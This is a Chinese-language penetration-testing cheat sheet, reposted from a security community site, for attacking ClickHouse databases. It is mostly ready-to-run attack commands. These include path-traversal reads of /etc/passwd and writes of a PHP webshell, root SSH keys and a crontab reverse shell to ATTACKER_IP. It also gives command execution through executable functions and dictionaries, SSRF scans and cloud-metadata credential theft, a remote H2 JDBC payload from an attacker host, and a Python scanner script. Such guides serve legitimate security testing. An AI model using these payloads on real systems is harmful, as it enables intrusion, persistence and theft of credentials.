文章作者:先知社区(SecurityPaper)
文章来源:https://xz.aliyun.com/news/91297
1►
概述
什么是 ClickHouse
ClickHouse 是由 Yandex 开发的开源列式数据库管理系统,专为在线分析处理(OLAP)场景设计。它能够高效处理大规模数据集,支持快速查询和实时数据分析。
默认配置
|
配置项 |
默认值 |
|
HTTP 端口 |
8123 |
|
TCP 端口 |
9000 |
|
MySQL 协议端口 |
9004 |
|
配置目录 |
/etc/clickhouse-server/ |
|
数据目录 |
/var/lib/clickhouse/ |
|
用户脚本目录 |
/var/lib/clickhouse/user_scripts/ |
|
用户文件目录 |
/var/lib/clickhouse/user_files/ |
渗透测试目标
1、信息泄露:获取敏感数据、配置信息
2、文件读取:读取系统敏感文件
3、文件写入:写入 webshell、脚本、配置文件
4、命令执行:实现 RCE(远程代码执行)
5、横向移动:利用 SSRF 或数据库连接攻击内网
2►
信息收集
1. 版本信息
-- 获取版本SELECT version();-- 获取详细版本信息SELECT * FROM system.build_options;
2. 用户与权限
-- 当前用户SELECT currentUser();-- 查看所有用户SELECT * FROM system.users;-- 查看当前用户权限SHOW GRANTS;-- 查看所有权限授予SELECT * FROM system.grants;-- 查看角色SELECT * FROM system.roles;SELECT * FROM system.role_grants;
3. 数据库与表
-- 查看所有数据库SHOW DATABASES;-- 查看所有表SELECT database, name, engine, total_rows, total_bytes FROM system.tables WHERE database NOT IN ('system', 'INFORMATION_SCHEMA', 'information_schema')ORDER BY total_bytes DESC;-- 查看表结构DESCRIBE TABLE database_name.table_name;
4. 服务器配置
-- 查看所有设置SELECT name, value FROM system.settings;-- 查看路径相关配置SELECT name, value FROM system.settings WHERE name LIKE '%path%';-- 查看文件相关配置SELECT name, value FROM system.settings WHERE name LIKE '%file%';-- 查看可执行相关配置SELECT name, value FROM system.settings WHERE name LIKE '%executable%';-- 查看磁盘信息SELECT * FROM system.disks;-- 查看存储策略SELECT * FROM system.storage_policies;
5. 集群信息
-- 查看集群配置SELECT * FROM system.clusters;-- 查看 Zookeeper 配置SELECT * FROM system.zookeeper WHERE path = '/';-- 查看复制表状态SELECT * FROM system.replicas;-- 查看宏定义SELECT * FROM system.macros;
6. 查询历史(敏感信息)
-- 查看查询日志(可能包含密码、密钥)SELECT event_time, user, query, client_hostnameFROM system.query_log WHERE type = 'QueryFinish' ORDER BY event_time DESC LIMIT 100;-- 搜索包含敏感关键词的查询SELECT query FROM system.query_log WHERE query LIKE '%password%' OR query LIKE '%secret%' OR query LIKE '%key%' OR query LIKE '%token%';
7. 可用函数权限评估关键权限检查权限等级
-- 查看所有表函数SELECT name FROM system.table_functions ORDER BY name;-- 查看用户定义函数SELECT name, origin, create_query FROM system.functions WHERE origin = 'ExecutableUserDefined';-- 查看所有非系统函数SELECT name, origin FROM system.functions WHERE origin != 'System';
3►
权限评估
权限评估
关键权限检查
-- 检查是否有文件写入权限SELECT * FROM system.settings WHERE name = 'allow_into_outfile';-- 检查是否有 DDL 权限SELECT * FROM system.settings WHERE name = 'allow_ddl';-- 检查 SOURCES 权限(url、mysql、postgresql 等函数)SHOW GRANTS;-- 查找是否有 SOURCES 权限
权限等级
|
权限级别 |
可执行操作 |
|
只读用户 |
SELECT 查询 |
|
普通用户 |
SELECT、INSERT、部分表函数 |
|
DDL 权限 |
CREATE、DROP、ALTER |
|
SOURCES 权限 |
url()、mysql()、postgresql() 等 |
|
管理员 |
全部权限 |
4►
各种漏洞利用及横向移动
文件读取利用
1. file() 函数读取
-- 基本读取(限制在 user_files 目录)SELECT * FROM file('test.txt', 'RawBLOB', 'data String');-- 使用通配符列出文件SELECT * FROM file('*', 'RawBLOB', 'data String');SELECT * FROM file('*.txt', 'RawBLOB', 'data String');SELECT * FROM file('*.log', 'RawBLOB', 'data String');
2. 路径穿越(低版本可能有效)
-- 尝试路径穿越SELECT * FROM file('../../../etc/passwd', 'RawBLOB', 'data String');SELECT * FROM file('../../etc/passwd', 'RawBLOB', 'data String');SELECT * FROM file('....//....//....//etc/passwd', 'RawBLOB', 'data String');-- 读取 ClickHouse 配置SELECT * FROM file('../config.xml', 'RawBLOB', 'data String');SELECT * FROM file('../users.xml', 'RawBLOB', 'data String');
3. 软链接绕过(需要命令执行权限)
如果有命令执行权限,可以创建软链接绕过目录限制:
ln -s /etc/passwd /var/lib/clickhouse/user_files/passwd
然后读取:
SELECT * FROM file('passwd', 'RawBLOB', 'data String');
文件写入利用
1. INTO OUTFILE
-- 基本文件写入SELECT 'test content' INTO OUTFILE '/path/to/file.txt' FORMAT Raw;-- 使用 TRUNCATE 覆盖文件SELECT 'new content' INTO OUTFILE '/path/to/file.txt' TRUNCATE FORMAT Raw;-- 写入 webshellSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' FORMAT Raw;-- 写入 SSH 公钥SELECT 'ssh-rsa AAAA... user@host' INTO OUTFILE '/root/.ssh/authorized_keys' FORMAT Raw;-- 写入 crontabSELECT '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/8888 0>&1' INTO OUTFILE '/etc/cron.d/reverse_shell' FORMAT Raw;
2. 写入脚本到 user_scripts 目录
-- 写入可执行脚本SELECT '#!/bin/bashid' INTO OUTFILE '/var/lib/clickhouse/user_scripts/cmd.sh' FORMAT Raw;-- 写入交互式 shell 脚本SELECT '#!/bin/bashwhile read cmd; do eval "$cmd" 2>&1done' INTO OUTFILE '/var/lib/clickhouse/user_scripts/shell.sh' FORMAT Raw;
命令执行利用
方法1:UDF 配置文件(需要配置文件写入权限)
步骤1:创建 UDF 配置文件
创建 /etc/clickhouse-server/cmd_function.xml:
<functions> <function> <type>executable</type> <name>cmd</name> <return_type>String</return_type> <format>TabSeparated</format> <command>id</command> <execute_direct>0</execute_direct> <lifetime>0</lifetime> </function></functions>
关键参数说明:
- execute_direct=0:command 通过 sh -c 执行
- execute_direct=1:command 在 user_scripts 目录查找脚本
步骤2:确保 config.xml 包含
<user_defined_executable_functions_config>*_function.xml</user_defined_executable_functions_config>
步骤3:重启服务后执行
SELECT cmd();
方法2:带参数的交互式 Shell
UDF 配置:
<functions> <function> <type>executable</type> <name>shell</name> <return_type>String</return_type> <argument> <type>String</type> <name>cmd</name> </argument> <format>TabSeparated</format> <command>bash -c</command> <execute_direct>0</execute_direct> <lifetime>0</lifetime> </function></functions>
执行命令:
SELECT shell('id');SELECT shell('cat /etc/passwd');SELECT shell('whoami');
方法3:executable() 表函数
-- 直接执行命令(新版本)SELECT * FROM executable('id', TabSeparated, 'output String');SELECT * FROM executable('cat /etc/passwd', TabSeparated, 'line String');-- 执行 user_scripts 目录下的脚本SELECT * FROM executable('script.sh', TabSeparated, 'output String');-- 带参数执行SELECT * FROM executable('shell.sh', TabSeparated, 'output String', (SELECT 'id'));
方法4:Executable 表引擎
-- 创建 Executable 表CREATE TABLE cmd_table (output String) ENGINE = Executable('id', TabSeparated);-- 查询触发执行SELECT * FROM cmd_table;
方法5:Executable Dictionary
-- 创建可执行字典CREATE DICTIONARY cmd_dict ( id UInt64, output String)PRIMARY KEY idSOURCE(EXECUTABLE(COMMAND 'id' FORMAT TabSeparated))LIFETIME(0)LAYOUT(FLAT());-- 调用字典执行命令SELECT dictGet('cmd_dict', 'output', toUInt64(1));
SSRF 利用
1. url() 表函数
-- 基本 HTTP 请求SELECT * FROM url('http://target:port/path', 'RawBLOB', 'data String');-- 带超时设置SELECT * FROM url('http://target:port/', 'RawBLOB', 'data String') SETTINGS connect_timeout=2, receive_timeout=2;-- 探测内网服务SELECT * FROM url('http://192.168.1.1:80/', 'RawBLOB', 'd String');SELECT * FROM url('http://10.0.0.1:8080/', 'RawBLOB', 'd String');SELECT * FROM url('http://172.16.0.1:3306/', 'RawBLOB', 'd String');
2. 常见内网服务探测
-- RedisSELECT * FROM url('http://127.0.0.1:6379/', 'RawBLOB', 'd String');-- ElasticsearchSELECT * FROM url('http://127.0.0.1:9200/', 'RawBLOB', 'd String');-- Docker APISELECT * FROM url('http://127.0.0.1:2375/version', 'RawBLOB', 'd String');SELECT * FROM url('http://127.0.0.1:2375/containers/json', 'RawBLOB', 'd String');-- Kubernetes APISELECT * FROM url('http://127.0.0.1:10250/pods', 'RawBLOB', 'd String');SELECT * FROM url('http://kubernetes.default.svc/', 'RawBLOB', 'd String');-- etcdSELECT * FROM url('http://127.0.0.1:2379/version', 'RawBLOB', 'd String');
3. 批量内网扫描
-- 扫描网段SELECT '192.168.1.1' as ip, * FROM url('http://192.168.1.1:80/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '192.168.1.2', * FROM url('http://192.168.1.2:80/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '192.168.1.3', * FROM url('http://192.168.1.3:80/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2;
4. 其他 SSRF 函数
-- S3 函数SELECT * FROM s3('http://target:port/bucket/file', 'CSV', 'data String');-- HDFS 函数SELECT * FROM hdfs('hdfs://target:9000/path', 'TabSeparated', 'data String');SELECT * FROM hdfs('webhdfs://target:50070/path', 'TabSeparated', 'data String');
云环境利用
AWS
-- EC2 元数据SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'RawBLOB', 'd String');SELECT * FROM url('http://169.254.169.254/latest/meta-data/iam/security-credentials/', 'RawBLOB', 'd String');-- 获取临时凭证SELECT * FROM url('http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME', 'RawBLOB', 'd String');
阿里云
-- ECS 元数据SELECT * FROM url('http://100.100.100.200/latest/meta-data/', 'RawBLOB', 'd String');SELECT * FROM url('http://100.100.100.200/latest/meta-data/ram/security-credentials/', 'RawBLOB', 'd String');
腾讯云
-- CVM 元数据SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/', 'RawBLOB', 'd String');-- 获取实例信息SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/instance-id', 'RawBLOB', 'd String');SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/local-ipv4', 'RawBLOB', 'd String');SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/placement/region', 'RawBLOB', 'd String');-- 获取 CAM 临时凭证SELECT * FROM url('http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/', 'RawBLOB', 'd String');-- 获取 User Data(可能包含敏感信息)SELECT * FROM url('http://metadata.tencentyun.com/latest/user-data', 'RawBLOB', 'd String');
Google Cloud
-- GCE 元数据(需要特殊 Header)SELECT * FROM url('http://metadata.google.internal/computeMetadata/v1/', 'RawBLOB', 'd String');
横向移动
1. MySQL 连接
-- 连接内网 MySQLSELECT * FROM mysql('192.168.1.100:3306', 'database', 'table', 'user', 'password');-- 获取用户信息SELECT * FROM mysql('target:3306', 'mysql', 'user', 'root', 'password');
2. PostgreSQL 连接
-- 连接 PostgreSQLSELECT * FROM postgresql('192.168.1.100:5432', 'database', 'table', 'user', 'password');-- 利用 COPY FROM PROGRAM 执行命令(需要在 PostgreSQL 端)
3. remote() 连接其他 ClickHouse
-- 连接其他 ClickHouse 节点SELECT * FROM remote('192.168.1.100:9000', 'database', 'table', 'user', 'password');-- 使用集群SELECT * FROM cluster('cluster_name', 'database', 'table');
4. JDBC 连接(需要 JDBC Bridge)
-- JDBC 连接SELECT * FROM jdbc('jdbc:mysql://target:3306/db?user=root&password=pass', 'table');-- H2 数据库 RCESELECT * FROM jdbc('jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ''http://attacker/evil.sql''', 'test');
5►
常见限制及防御绕过
防御绕过
1. 编码绕过
-- Base64 编码SELECT base64Encode('<?php system($_GET["cmd"]); ?>');SELECT base64Decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+');-- Hex 编码SELECT hex('malicious content');SELECT unhex('6D616C6963696F757320636F6E74656E74');-- 使用编码写入文件SELECT unhex('...hex content...') INTO OUTFILE '/path/to/file' FORMAT Raw;
2. 字符串拼接
-- 拼接命令SELECT concat('ca', 't', ' /etc/passwd');
3. 使用变量
-- 使用 WITH 子句WITH 'http://target/' AS urlSELECT * FROM url(url, 'RawBLOB', 'd String');
常见限制与绕过
托管环境限制
|
限制 |
状态 |
绕过方法 |
|
INTO OUTFILE 禁用 |
常见 |
无直接绕过,尝试其他写入方式 |
|
Executable DDL 禁用 |
常见 |
尝试配置文件方式 |
|
路径穿越阻止 |
常见 |
软链接(需命令执行) |
|
url() 内网限制 |
少见 |
DNS 重绑定 |
|
配置文件只读 |
常见 |
无绕过 |
6►
工具与脚本
1. 信息收集一键脚本
-- 一键获取系统信息SELECT 'version' as info, version() as valueUNION ALL SELECT 'user', currentUser()UNION ALL SELECT 'timezone', timezone()UNION ALL SELECT 'hostname', hostName();
2. Python SSRF 扫描脚本
#!/usr/bin/env python3"""ClickHouse SSRF 内网扫描器"""def generate_scan_sql(network, port, start=1, end=254): """生成扫描 SQL""" sqls = [] for i in range(start, end + 1): ip = f"{network}.{i}" sql = f"SELECT '{ip}:{port}' as target, * FROM url('http://{ip}:{port}/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2;" sqls.append(sql) return sqls# 生成扫描语句for sql in generate_scan_sql("192.168.1", 80, 1, 254): print(sql)
3. 批量端口扫描 SQL 模板
-- 扫描单 IP 多端口SELECT '80' as port, * FROM url('http://TARGET:80/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '443', * FROM url('http://TARGET:443/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '8080', * FROM url('http://TARGET:8080/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '8443', * FROM url('http://TARGET:8443/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '3306', * FROM url('http://TARGET:3306/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '6379', * FROM url('http://TARGET:6379/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '27017', * FROM url('http://TARGET:27017/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2UNION ALL SELECT '9200', * FROM url('http://TARGET:9200/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2;
文章来源:李白,你好













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